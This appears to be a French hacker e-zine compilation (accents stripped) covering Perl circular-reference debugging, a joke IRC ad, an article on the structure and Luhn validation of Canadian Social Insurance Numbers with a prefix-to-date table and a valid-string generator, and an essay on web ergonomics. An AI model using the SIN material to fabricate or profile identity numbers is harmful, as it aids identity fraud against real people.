-------------------------------------------------------------------------------
Internal circular reference found : ARRAY(0x814e358)[1][3] on ARRAY(0x814e370)
1 - Item     : ARRAY(0x814e358)
2 - Source   : [1]
    Item     : ARRAY(0x814e370)
3 - Source   : [3]
    Item     : ARRAY(0x814e370)
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
Results for ARRAY(0x814e358)
Circular reference          : 0
Internal circular reference : 1
Weak circular reference     : 0
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
Checking circular references for ARRAY(0x814e370)
-------------------------------------------------------------------------------
Circular reference found : ARRAY(0x814e370)[3]
1 - Item     : ARRAY(0x814e370)
2 - Source   : [3]
    Item     : ARRAY(0x814e370)
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
Results for ARRAY(0x814e370)
Circular reference          : 1
Internal circular reference : 0
Weak circular reference     : 0
-------------------------------------------------------------------------------

+----------------------+
| Conclusion           |
+----------------------+

Vous pouvez savoir o se situe les rfrences circulaires et galement savoir  si  elle   est 
dj weakened.

+---------------------------------------------------------------------------------------------+
| EOF : Exemple 0x0006 : Utilisation de "print_circular_ref"                                  |
+---------------------------------------------------------------------------------------------+

+---------------------------------------------------------------------------------------------+
| Chapitre douze                                                                              |
|                                                                                             |
| Impossible d'utiliser les rfrences des objets tied                                        |
+---------------------------------------------------------------------------------------------+

videmment,  encore  des  problmes  surviennent  lorsque  vient  le temps  de  vrifier  les 
rfrences  d'un  objet  tied.  L'usage  de ces rfrences pourraient servir  par  exemple   
vrifier les rfrences circulaires en observant si une rfrence est vu plus d'une fois dans 
un chemin. las, il semble impossible de le faire. Soit le code suivant :

1  my $self = {'a' => 1,
2              'b' => 2};
3  monitor('self' => \$self);
4  print STDERR \($self->{'a'})."\n";
5  print STDERR \($self->{'b'})."\n";
6  print STDERR \($self->{'a'}).\($self->{'b'})."\n";
7  foreach my $key (keys %$self) {
8      my $keyRef = \$key;
9      my $value = $self->{$key};
10     my $valueRef = \($self->{$key});
11     print STDERR "KEY:$key, KEY REF:$keyRef, VALUE:$value, VALUE REF:$valueRef\n";
12 }

+----------------------+
| Rsultat             |
+----------------------+
MONITOR HASH : self
SCALAR(0x8141384)
SCALAR(0x8141384)
SCALAR(0x8141384)SCALAR(0x81413cc)
KEY:a, KEY REF:SCALAR(0x8141420), VALUE:1, VALUE REF:SCALAR(0x824becc)
KEY:b, KEY REF:SCALAR(0x81413cc), VALUE:2, VALUE REF:SCALAR(0x824becc)
DESTROY HASH : self

+----------------------+
| Explications         |
+----------------------+

Nous  voyons  que les rfrences sont les mmes pour des cls de hash diffrentes. Il semble 
que le tie me fait chier !!! Mais attendez une minute, est-ce que c'est mon module qui bug ? 
Essayons avec du code plus lmentaire :

1  #!/usr/bin/perl
2  use strict;
3  use warnings;
4  use Tie::Hash;
5
6  my %self;
7  tie %self, 'Tie::StdHash';
8  $self{a} = 1;
9  $self{b} = 2;
10 print STDERR \($self{a})."\n";
11 print STDERR \($self{b})."\n";
12 print STDERR \($self{a}).\($self{b})."\n";
13 foreach my $key (keys %self) {
14     my $keyRef = \$key;
15     my $value = $self{$key};
16     my $valueRef = \($self{$key});
17     print STDERR "KEY:$key, KEY REF:$keyRef, VALUE:$value, VALUE REF:$valueRef\n";
18 }

+----------------------+
| Rsultat             |
+----------------------+
SCALAR(0x101112c8)
SCALAR(0x101112c8)
SCALAR(0x101112c8)SCALAR(0x1016cf8c)
KEY:a, KEY REF:SCALAR(0x10133ca4), VALUE:1, VALUE REF:SCALAR(0x1016cfa4)
KEY:b, KEY REF:SCALAR(0x1016cf8c), VALUE:2, VALUE REF:SCALAR(0x1016cfa4)

+----------------------+
| Conclusion           |
+----------------------+

Les rfrences d'objets tied sont mauvaises... On ne peut pas s'en servir pour  dtecter  des 
rfrences circulaires... Ceci est vraiment mauvais...

+---------------------------------------------------------------------------------------------+
| Chapitre treize                                                                             |
|                                                                                             |
| Conclusion                                                                                  |
+---------------------------------------------------------------------------------------------+

Si weaken ne me faisait pas de troubles, ce serait vraiment mais vraiment bien.


J'ai les mains lis et je ne peux rien faire d'autre que  de  visualiser  les  variables  non 
dtruites, puis de dtecter les rfrences circulaires pour  ensuite mettre des weaken. Rendu 
 ce point, je ne peux plus rien faire  d'autre que de m'embarquer dans la science de l'essai 
erreur  savoir si la variable est rellement dtruite. Je dois  ce jour tester manuellement 
avec mod_perl. Il est rellement dommage, qu'aprs tre all aussi  loin,  que  je  me  fasse 
arrter par le simple weaken. Avoir t dans n'importe quel autre  langage de haut niveau, je 
n'aurais tout simplement pas pu faire ce genre  de chose. Avec Perl, les possibilits taient 
quasi-infinies... Mais voil qu'il resserre sa corde  mon cou tel un cowboy en furie.

Pour rellement rgler le problme, je devrais aller directement dans le code source de Perl, 
chose que je ne ferai sans doute pas faute de temps.

warn "J'ai faim\n";

+---------------------------------------------------------------------------------------------+
| Chapitre quatorze                                                                           |
|                                                                                             |
| Signature                                                                                   |
+---------------------------------------------------------------------------------------------+

Amoureusement vtre,

nothing94

+---------------------------------------------------------------------------------------------+
| Chapitre quinze                                                                             |
|                                                                                             |
| Post-scriptum                                                                               |
+---------------------------------------------------------------------------------------------+

Si vous trouvez des solutions aux problmes numrs dans ce texte, faites moi signe.


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |<Zodiac> kkun connais un programme de hackage ni trop     \_ \   \\_  \_ \ K      
 || |basique ni trop avanc ? :P                                 \\_  \_ \   \\_ -  : '
 ||`|<Wyzeman> google.ca                                         \_ \   \\_  \_ \ 1   
 || |<Zodiac> ah non c'est trop utilis sa                         \\_  \_ \   \\_ 1  + 
 || |<Wyzeman> c ptete bon signe                                   \_ \   \\_  \_ \ 1   
 ||'|<Zodiac> on ma piker mon jeux de Counter Strike et jveut aller  \\_  \_ \   \\_  x 
 || |chercher la cl dans le registre du mec, et par la meme occasion\_ \   \\_  \_ \  `
 || |<Wyzeman> bien sur, et moi jsuis robin des bois ?                 \\_  \_ \   \\_  
 ||,|<Zodiac> non ta raison jdit nimporte koi, jveut seulement         \_ \   \\_  \_ \.
 || |sur le pc d'un copain et ke lui fasse pareil                        \\_  \_ \  _\\_  
/ | |<Wyzeman> jpeu detruire tes illusions tout de suite ?               \_ \   \\_/    \
 / ;|<Zodiac> tu peut te les mettres au cul premierement moi jme casse     \\_  \_       |
  | |de se canal a la con, et t'avise pas de toucher a mon pc              _\ \   /      |
//  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ #hack.fr un endroit ou l'on se soucie de vous                         ]=\:\  |
  \__\__________________________________________________________________________________/





  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O3]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ un affaire de NAS             ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: un affaire de numero dassurence social nheeeeeeuuuuhhhh!]=\:\    \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[    Nexact    ]=\:\ _//     
                                                  \__\________________________/__/ 


Une affaire de numros d'assurance social ... 

L'algorithme Luhn(aussi appelle modulus 10 ou mod10) utiliser pour  gnrer  des  numros  de 
carte qui est maintenant utilise dans le  domaine  public  a  t  developper  en  1960 pour 
la  validation  de  numros  unique  par  exemple,  celle  d'une  carte de crdit, un  numro 
d'assurance social, numro d'assurance, ect..

Bref, comme dans presque chaque numro gnr pour tre utilis  dans  le public se cache une 
algorithme voici celle utilise pour savoir la validit d'un numro:

    046 454 286  <  # d'assurance social

    046 454 286  \/  multiplier le haut
    121 212 121  /\  avec ces numros.
    -----------
    086 858 276


0*1 = 0  4*2=8  2*1=2
4*2 = 8  5*1=5  8*2=16 <-- 6+1 = 7
6*1 = 6  4*2=8  6*1=6

Si la multiplication de a*b est un digit a 2 chiffres
vous devez les additionner.
ex: 8*2=16 <-- 6+1 = 7 <- ont utilisent ce chiffre.

Maintenant ont additionne le rsultat:
0+8+6+8+5+8+2+7+6=50
                  /\
                Si le total est n/10 .. c'est un # valide.
                Sinon, c'est un faux #.

L'analyse d'un numro:
Le premier chiffre ce trouve a tre la province d'enregistration
1 = NB, NF, NS, PE   6 = AB, MB, SK, NT, NU?       
2 = QC               7 = BC, YU                    
3 = mutant de quebec 8 = Not Used                  
4 = ON               9 = Immigrants & # temporaire.
5 = ON               0 = pas utilis              

voil la fonction pour viter de pitonner :]
int valid_number(char *number) {
    int i, n, sum = 0;
    char alternate = 0;

    for (i = strlen(number) - 1; i >= 0; i--) {
        n = number[i] - '0';
        if (alternate) {
            n *= 2;
            if (n > 9)
                n = (n % 10) + 1;
        }
        sum += n;
        alternate = !alternate;
    }

    return (sum % 10 == 0);
}

Plusieurs  personnes  ont  dj  collabor  pour  essayer  d'tablir une database .. Mais bon 
celle-ci est incomplte ...

le 2ieme et 3ieme chiffre semble tre la date de naissance  voici  une petite table rcuprer 
dhackcanada:

___________________________________________________________________
|(AB)       Alberta  |(BC)British Columb. | (ON)       Ontario    |
|------------------  | ------------------ | --------------------  |
|623     1955-08-08  | 700     1935-08-11 |   404     1941-07     |
|624     1957-08     | 703     1937-01-05 |   409     1943-07-30  |
|624     1957-11     | 704     1941-08-31 |   423     1946-01-24  |
|631     1966-05-31  | 706     1947-09-26 |   425     1946-06     |
|637     1967        | 710     1968       |   443     1953-09     |
|637     1968-10-08  | 720     1963-07-07 |   448     1955-04-01  |
|639     1973-08-19  | 723     1966-07-28 |   448     1955-09-18  |
|640     1968-01-29  | 725     1970       |   452     1956-07     |
|640     1971-08-17  | 726     1972-12    |   457     1958-05-21  |
|642     1972-09-24  | 726     1973-10-12 |   464     1960        |
|642     1974-06-27  | 726     1973-11-19 |   465     1961-03-25  |
|644     1975-01-06  | 726     1974-07-27 |   466     1959-01-27  |
|644     1977-12-01  | 727     1974-12-31 |   467     1961-02-07  |
|645     1976-09-16  | 728     1978-02-15 |   471     1960-11-14  |
|645     1977-02-17  | 728     1978-02-15 |   475     1960-06-28  |
|647     1978-08-17  | 729     1977-01-09 |   479     1973-07     |
|648     1982-04-07  | 729     1977-05-12 |   482     1965-03-28  |
|649     1983-01-08  | 729     1978-07-27 |   486     1970-02-20  |
|650     1981-11-11  | 732     1980-03-05 |   486     1970-10-14  |
|650     1983-01-14  | 733     1982-04-18 |   488     1971-07-21  |
|650     1983-12-20  | 733     1982-05-12 |   490     1962-10-03  |
|651     1981-10-29  | 734     1980-06-29 |   490     1971-01-23  |
|651     1982-10-10  | 734     1982-10-02 |   490     1972-01-03  |
|652     1982-04-24  | 734     1984-12-25 |   493     1972-10-12  |
|653     1984-11-14  | 736     1983-11-01 |   495     1975-09-04  |
|654     1984-01-26  | 736     1984-07-05 |   496     1972-09-03  |
|654     1985-04-21  | 737     1984-09-20 |   496     1975-10-29  |
|657     1986-03-27  | 739     1985-07-17 |   498     1974-11-21  |
|659     1987-08-28  |                    |   498     1975-04-30  |
| --------------------------------------- |   499     1976-09-20  |
|(MB)      Manitoba  | (NB) New Brunswick |   500     1975-10     |
| ------------------ | ------------------ |   503     1977-05-13  |
|600     1941        | 106     1938       |   503     1979-09-20  |
|608     1946-09-10  | 120     1965-12-14 |   505     1979-05     |
|610     1938-12-13  | 121     1965-09-14 |   505     1979-10-01  |
|614     1950-02     | 122     1970-03-14 |   505     1979-10-08  |
|615     1943-01-06  | 123     1968-03-18 |   505     1980-07-23  |
|621     1953-05-23  | 127     1981-12-17 |   505     1980-10-23  |
|622     1954-02-22  | 129     1983-11-22 |   506     1980-09-01  |
|623     1953-01-31  | 128     1985-01-10 |   511     1980-08-20  |
|623     1953-07     |                    |   512     1982-03-07  |
|623     1955-01-22  | (NF)  Newfoundland |   513     1980-09-11  |
|624     1957-11-22  | ------------------ |   514     1981-07-12  |
|625     1957-05-20  | 112     1954       |   514     1983-04-11  |
|628     1960-12-26  | 114     1960-07-23 |   515     1981-05-15  |
|634     1957-07-14  | 126     1977-07-12 |   516     1980-08-09  |
|635     1960-06-07  | 129     1987-04-21 |   516     1981-08-05  |
|635     1964-02-01  |                    |   516     1982-09-30  |
|636     1965-01-13  | (NS)   Nova Scotia |   516     1983-09-15  |
|637     1966-02-09  | ------------------ |   516     1983-10-08  |
|640     1979-12-18  | 113     1965       |   518     1983-05-06  |
|641     1971-10-25  | 119     1964-11-15 |   519     1981-10-16  |
|642     1974-09-04  | 120     1964-08-11 |   520     1984-02-10  |
|643     1974-06-13  | 122     1966-05-05 |   521     1984-11-29  |
|644     1977-10-29  | 123     1971       |   522     1981-11-19  |
|645     1978-10-01  | 124     1975-10-31 |   522     1985-12-05  |
|646     1982-03-07  | 125     1978       |   523     1982-03-17  |
|648     1978-03-15  | 127     1981-12-04 |   525     1982-11-28  |
|648     1978-04-03  | 130     1985-05-12 |   525     1983-07-17  |
|648     1978-09-28  |                    |   525     1985-05-09  |
|649     1984-10-17  | (NT)           NWT |   527     1983-02-24  |
|650     1979-05-14  |--------------------|   528     1984-08-06  |
|650     1979-07-29  | 643     1975-05-16 |   529     1985-02-13  |
|652     1980-12-09  | 643     1975-08-30 |   529     1985-09-06  |
|------------------- | ------------------ |   530     1984-07-24  |
| (PE)           PEI | (QC)        Quebec |   532     1985-02-01  |
| ------------------ | ------------------ |   536     1985-08     |
| 121     1983-05-26 | 227     1949-09-20 |   540     1987-07-08  |
| (SK)  Saskatchewan | 232     1951-10-12 |------------------------
| ------------------ | 233     1951-08-05 |
| 606     1946-02    | 246     1961-04-28 |
| 632     1963       | 252     1963-10    |
| 632     1969-10-11 | 259     1963       |
| 639     1968-11-25 | 270     1973-05-29 |
| 640     1969-12-04 | 271     1975-10-18 |
| 640     1971-11    | 272     1974-06-02 |
| 643     1973       | 273     1977-01-18 |
| 647     1981-08-23 | 274     1978-08-11 |
| 647     1983-11-24 | 276     1980-05    |
| 650     1980-10-21 | 279     1980-05-31 |
| 651     1982-11-24 | 279     1980-09-25 |
| 654     1983-12-02 | 280     1981-10-30 |
| 656     1983-02-06 | 284     1981-10-19 |
| 658     1987-11-17 | 285     1984-05-25 |
|                    | 286     1983-06-04 |
|                    | 289     1984-10-30 |
|                    | 291     1985-07-04 |
|                    | 291     1986-07-27 |
|                    | 291     1986-04-18 |
|                    | 293     1987-07-05 |
------------------------------------------


Bref, ont peux coder un gnrateur asser facilement..  voici  un  petit  bout  de  code   qui 
pourrait tre utile dans certains de vos projets  en gros, a gnre un nick de 9 lettres pis 
la fonction pour vrifier s'il est valide

#include <string>   
#include <iostream> 
#include <fstream>  
#include <sstream>  
#include <vector>   
#include <time.h>

using namespace std;

int decryptnick(string nick);
string rndnick();

int main() {
 string nickname;
 srand(time(0));
 cout << "generation d'un nickname:" << endl;
 while(1) {
	nickname = rndnick();                                                                                     
	cout << "checking:" << nickname;                                                                          
	if (decryptnick(nickname) == 0) {
		cout << "<- VALIDE" << endl; break;
	} else { cout << "<- INVALIDE" << endl; }
 }
 	return 0;
}
string rndnick() {
	char nick[10];
	int i = 0,rnd;
	memset(nick, 0, sizeof(nick));
	for (i=0;i<9;i++) {
		rnd = rand()*(4-1)/RAND_MAX+1;
		if (rnd == 1) { nick[i] = rand()*(58-49)/RAND_MAX+49; }
		if (rnd == 2) { nick[i] = rand()*(91-65)/RAND_MAX+65; }
		if (rnd == 3) { nick[i] = rand()*(100-97)/RAND_MAX+97; }
		if (i == 0) { nick[i] = rand()*(91-65)/RAND_MAX+65; }
	}
	nick[9] = '\0';
	string nickname(nick);
	return nickname;
}

int decryptnick(string nick) {
	int total=0,calc=0,i=0;
	stringstream num;
	string no,realno;
	for (i = 0;i < 9;i++) num << (int)nick[i];
	no = num.str();
	for (i = 0;i < 18;i++) if ((i % 2) == 1) { realno += no[i]; } i = 0;                                     
		for (i = 0;i < 9;i++) {
		calc = realno[i] - 48;
		if ((i % 2) == 1) { total += calc; }
		else {
			if ((calc * 2) >= 9) { total += (calc*2-9); }
			else { total += (calc*2); }
		}
	}
	if ((total % 10) == 0) { return 0; }
	else { return 1; }
	return -1;
}

Si jamais vous avez des projets interessant, aek ca, faite moi s'en part ;]
Thx HackCanada :]
                               __   
.-----.-----.--.--.---.-.----.|  |_ 
|     |  -__|_   _|  _  |  __||   _|
|__|__|_____|__.__|___._|____||____|
                             -nexact 





  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |               La radio 31337 est de retour!              \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |   Aprs de nombreux mois d'absences, init & last font un   \\_  \_ \   \\_ -  : '
 ||`| comming back en force, avec une mission de radio leet     \_ \   \\_  \_ \ 1   
 || | qui sera diffuse sur Internet  chaque semaine (on va       \\_  \_ \   \\_ 1  + 
 || | essayer entk).                                               \_ \   \\_  \_ \ 1   
 ||'|                                                                \\_  \_ \   \\_  x 
 || |  De plus, tant qu'a faire, on a dcid d'en faire un poste     \_ \   \\_  \_ \  `
 || |  de radio complet avec d'autres animateurs, tel que c4ndu,       \\_  \_ \   \\_  
 ||,|  Wyzeman et aOne.                                                \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |  Pour plus d'infos, ou juste pour couter, aller voir le site web! \_ \   \\_/    \
 / ;|         http://radio31337.mindkind.org (mp3 offline disponible)      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Radio 31337 de retour cette t! http://radio31337.mindkind.org/      ]=\:\  |
  \__\__________________________________________________________________________________/


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O4]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ Un affaire d'ergonomie web    ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:                                                         ]=\:\    \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[      h3      ]=\:\ _//     
                                                  \__\________________________/__/ 



	Bon.. j'croyais avoir invent un nouveau  terme..  mais  malheureusement  google  m'a 
ramen  la ralit en 0.18 seconde. (plus 20 secondes pour afficher 
la page en 56k :|)

Results 1 - 10 of about 194 for "software ergonomy". (0.18 seconds)

	Encore une fois, mon ide est morte dans l'oeuf.. Mais bon, j'me console en me disant 
qu'elle n'tait pas si bte s'il y a des cours sur l'ergonomie au niveau software.

	Je vois dj les e-mails de programmeurs chevronns me disant;"C'est rien de nouveau, 
c'tait le 2ieme chapitre de  mon  livre  de  premiere  session  quand  j'tudiais  en  gnie 
logiciel..  Bon.. Peut-tre. Mais je n'ai pas tudi en  programmation,   vrai dire, je n'ai 
mme pas tudi en informatique.

	Et c'est vrai, le sujet a surement t mieux trait dans les livres. Je  croyais  que 
mon  ide  ne  valait  plus  la  peine d'crire un article, mais en repensant  la faon dont 
l'ide m'est venue, j'ai ralis qu'il en valait peut-tre l'effort.

	La premire  question  qui  m'est  venue    l'esprit,  c'est pourquoi aprs 3 ans de 
programmation php (plus comme passe-temps  que  comme  travail). Je  n'avais  jamais  entendu 
parler d'ergonomie software.. Pourtant, je lis rgulirement sur des sujets assez avancs... 

	En gros, je trouvais que 
l'interaction entre les utilisateurs et les sites webs est souvent  "mal  foutue".  Ca  l'est 
pour les sites web, mais c'est encore plus flagrant losrqu'on utilise des "applications web". 
Avec  le temps, j'ai remarqu qu'une application  a  beau  donner  le  rsultat  attendu,  si 
l'interaction entre l'utilisateur et le  programme  est  trop  complexe ou trop "mal foutue", 
l'utilisateur en question  cessera de tout simplement de l'utiliser..

	videmment, la question est: "Pourquoi l'interaction  sur  le  web  est  si pnible?" 
Surtout dans le contexte d'application web  dynamique. La rponse est assez simple, mais elle 
met en contexte plusieurs facteurs. Les plus importants sont les suivants:

	- Le protocol HTTP
	- Le manque cruel de standards stables, prouvs et surtout 
	  <strong>respects</strong> au niveau des languages interprets 
	  (de moins en moins vrai avec l'arrive du xhtml strict)
	
	La liste pourrait surement tre plus longue, mais la plupart des problmes inhrent  
l'ergonomie software sur le web dcoulent surtout du protocol HTTP.  Pour  la simple et bonne 
raison   qu'il  n'a  pas  t  conu,  pour  grer   un  flot  d'informations  dynamiques  et  
bidirectionnels.  Mme  le  nom le dit, Hyper  Text Transfert Protocol.. L'ide de base tait 
de prendre un fichier texte, de le  mettre  sur  un  serveur,  puis  le  serveur  en question 
retourne le contenu du fichier texte  sous  forme  "plain  text".   Seul   un   language   de 
programmation  balises tait supporter, le html, driv du SGML (Standard Generalized Markup 
Language) lui mme ayant t dvelopp pour structurer des donnes. 

	En tenant compte du but original qui tait de formatter et de rendre plus lisible les 
donns du web. Jusque l le but tait plus ou moins  atteint. La o les problmes commencent. 
Avec le temps et l'avancement des technologies, les objectifs ont dvis, malheureusement pas 
toujours dans le bon  sens. Beaucoup d'autres languages ont t ajouts  la longue liste des 
languages supports par le web d'aujourd'hui (voir la tableau 2).  Bref,  le  protocole  HTTP 
transfert maintenant plus de lignes de code que de Texte. 

	L'autre  inconvniant  du  protocol  HTTP  est  sa  structure  qui  est base sur des 
requtes/rponses (qui comprennent les mthodes GET/POST), mais qui exige que le  buffer soit 
"flush"  puis  retransfr  compltement  pour  afficher  le  nouveau  contenu.  Sa    brise 
radicalement la fluidit dans l'utilisation d'un programme web. Les  languages  "client-side" 
comme le javascript ont bien sur t implants pour palier    ce manque. C'est bon pour  les 
oprations calculables du cot client, mais si une  requte  doit tre faite au server et que 
de l'information doit tre reue et  traite avant d'tre renvoye au client, vous risquez de 
frapper un mur si  vous  ne  voulez pas d'un "refresh".  moins d'utiliser des mthodes assez 
complexes,  comme  une  2ieme  connection entre le server et le client, mais persistante, qui 
gre l'interaction entre le "programme web" et sont interface remote.. On  appele ca du RPC*. 
Ce n'est pas,  mon avis, la solution idale, car elle comporte beaucoup de faiblesses et est 
relativement complexe  utiliser, car  elle  fait appel  un programme client et un programme 
serveur  qui  communique  ensemble  via  un  autre  port TCP. Alors beaucoup de calculs et de 
processing pour rien, en plus d'avoir  utiliser un port TCP autre que le 80,  donc  qui peut 
tre bloqu par un firewall. Malgr cette  perspective  plutt  sombre,  une  solution  vient 
peut-tre clairer nos pauvres mes de patenteux.. Le " XMLHttpRequest"..  En gros, il   fait 
exactement ce que le RPC tente de faire, mais en tant un standards accept, il sera surement 
beaucoup plus accessible  et stable que le "pseudo RPC". Pour plus d'informations  propos du 
XMLHttpRequest, visitez le  site suivant: 

http://www.xml.com/pub/a/2005/02/09/xml-http-request.html

	Le non respect dlibr ou non des standards par les  compagnies  qui  produisent les 
fureteurs nous complique aussi incroyablement  la  tche.  Souvent  des  dizaines,  voir  des 
centaines de lignes de codes doivent tre ajoutes au  site pour que le site sorte exactement 
pareil   dans  tous  les  fureteurs. Sans  compter  que  certaines  compagnies  malveillantes 
(<B>MICROSOFT< STRONG/>) ajoutent  leurs propres standards propritaires dans leur fureteurs. 
Ou ils refusent  catgoriquement  de se plier  un standard pourtant accept de tous pour des
raisons inconnues, mais surement futiles. Peut-tre que c'est juste pour  nous  compliquer la 
vie.. Si c'est le cas, ils ont russi :|  Un  exemple  frappant  est  l'lment  CSS  "fixed" 
qu'Internet Explorer ne supporte pas..  Pourtant  QUOI  DE PLUS UTILE que de pouvoir dire: je 
veux que cet lment la  reste  a cette position la, MEME si le user scroll .. Biensur il y a 
des  "workaround" ou des  "tricks" pour contourner le problme,  mais  souvent  ces  solution 
apportent autant de problmes qu'il n'en rgles, en plus de prendre 100x plus de bytes que le 
mot F I X E D. Cases studies:

Mthode #1
http://tagsoup.com/-dev/null-/css/fixed/

L'effet  est  la..  tout  fonctionne  comme dans firefox et seulement avec des  tricks  CSS.. 
Flicitation champion. Mais le "hic", c'est qu'avec cette  mthode  vous  perdez l'lment de 
position "absolute" .. PRATIQUE .

Mthode #2
http://www.howtocreate.co.uk/fixedPosition.html

L'effet  est  surprenant  et je n'ai pas trouv d'inconvniants majeurs si ce  n'est  que  la 
grosseur du code pour arriver  un rsultat qu'un mot de 6 lettres  arrive    faire  dans un 
browser  comme  Mozilla  Firefox  et  qu'il  fait  appel   des fonctions obscures d'internet 
explorer dont j'ignorais totalement l'existance..

<!--[if gte IE 5.5]>
<style type="text/css">
div#fixme {
	/* IE5.5+/Win - this is more specific than the NS4 version */
	left: expression( ( 20 + ( ignoreMe2 = document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft ) ) + 'px' );
	top: expression( ( 10 + ( ignoreMe = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop ) ) + 'px' );
}
</style>
<![endif]-->


	... Avouez que ce n'est pas catholique :p J'avoue que <!--[if gte IE N]>  j'ai trouv 
ca  bien  comme  "trigger",  ca  permet  de  trier  les  browser  cons des intelligents. Mais 
"expression" .. wtf ? Je vous passe les exemples avec  javascript  qui  font  refresh continu 
pour "tracker" les scroll de l'utilisateur  et repositionner l'lment .. C'est vraiment laid 
et il n'y a que Microsoft pour nous pousser  coder des atrocits du genre.

	Mais voil qu'avec l'arrive d'un web dit "smantique", on voit peut-tre la  lumire 
au bout du tunnel. Le XHTML strict jumel au css, xsl, xsd, xml devrait  nous aider  sparer 
les donnes de la prsentation graphique et forcer les compagnies de fureteur  se plier plus 
aux standards. Une fois cette tape  franchie,  dvelopper  des applications web devrait dj 
tre plus facile. Et si  le  XMLHttpRequest tient ses promesses,  le  web  devrait  voir  une 
vritable explosion de rel "applications web" performantes  offrant  des  possibilits  dont 
nous ne fesions que rver (*tousse* http://maps.google.com *tousse*). 

	De grands pas on t faits  pour  rendre  le  web  plus  dynamique,  mais l'ergonomie 
software ne fait pas partie du  dictionnaire  de  tous  les  programmeurs web. Un bon exemple 
d'une bonne ergonomie software et un autre un  peu  plus moyen, c'est de comparer google mail 
(gmail)  hotmail avec une  connection  dialup (56k). Gmail est vraiment conu dans le but de 
minimiser au  maximum  le  nombre  et  le  temps  de refresh ainsi que la quantit de donnes 
envoyes  au  client,  ce  qui  rend  son utilisation beaucoup plus fluide et "real time" que 
hotmail. C'est trs important, car l'utilisateur se lasse trs rapidement devant un site trop 
long  tlcharger.

	Souvent l'ergonomie se concrtise  dans  de  petits  dtails,  comme  la  possibilit 
d'effectuer des tches groupes pour gagner  du  temps et l'ajout de "shortcut keys" pour les 
utilisateurs avancs. Bref, n'importe quoi qui  n'encombre  pas visuellement l'application et 
qui rend l'interaction entre l'utilisateur et le programme plus fluide et facile.

	Utilisez  les  bon  "input  controls"  aux  bons endroits. Les input control sont les 
mchanismes d'acquisition de donnes comme les checkbox, radio, select,  textarea  etc.   Ils 
